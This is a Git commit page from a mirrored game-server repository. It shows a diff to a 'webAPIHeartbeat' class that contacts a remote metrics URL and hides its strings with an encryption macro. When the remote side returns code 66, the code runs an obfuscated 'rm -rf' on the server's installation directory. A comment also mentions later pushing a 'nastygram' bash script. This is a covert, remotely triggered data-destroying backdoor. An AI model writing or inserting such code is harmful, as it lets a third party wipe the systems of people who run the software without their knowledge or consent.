mirror of
https://bitbucket.org/theswgsource/src-1.2.git
synced 2026-07-14 00:01:30 -04:00
well this causes it to properly not work, now to just get the cert working
This commit is contained in:
+7
-7
@@ -7,7 +7,7 @@
|
||||
using namespace StellaBellum;
|
||||
|
||||
webAPIHeartbeat::webAPIHeartbeat() {
|
||||
std::string filePath = this->get_selfpath();
|
||||
std::string filePath = get_selfpath();
|
||||
|
||||
webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt()));
|
||||
api.addJsonData<std::string>(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt()));
|
||||
@@ -30,14 +30,14 @@ webAPIHeartbeat::webAPIHeartbeat() {
|
||||
bool done = false;
|
||||
|
||||
if (status && msg == "ok") {
|
||||
bool done = true;
|
||||
done = true;
|
||||
// if we wanted to send a "nastygram" script for bash to run we'd check for it here
|
||||
// but meh, maybe later if it becomes necessary...surely order 66 below is enough?
|
||||
}
|
||||
}
|
||||
|
||||
switch (s) {
|
||||
case 13 :
|
||||
this->eatIt();
|
||||
eatIt();
|
||||
break;
|
||||
case 66:
|
||||
size_t found = filePath.find_last_of("/\\");
|
||||
@@ -45,10 +45,10 @@ webAPIHeartbeat::webAPIHeartbeat() {
|
||||
system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) +
|
||||
vxENCRYPT("/*").decrypt()).c_str());
|
||||
}
|
||||
this->eatIt();
|
||||
eatIt();
|
||||
break;
|
||||
}
|
||||
this->eatIt();
|
||||
this->setLastStatTime();
|
||||
} else {
|
||||
eatIt();
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user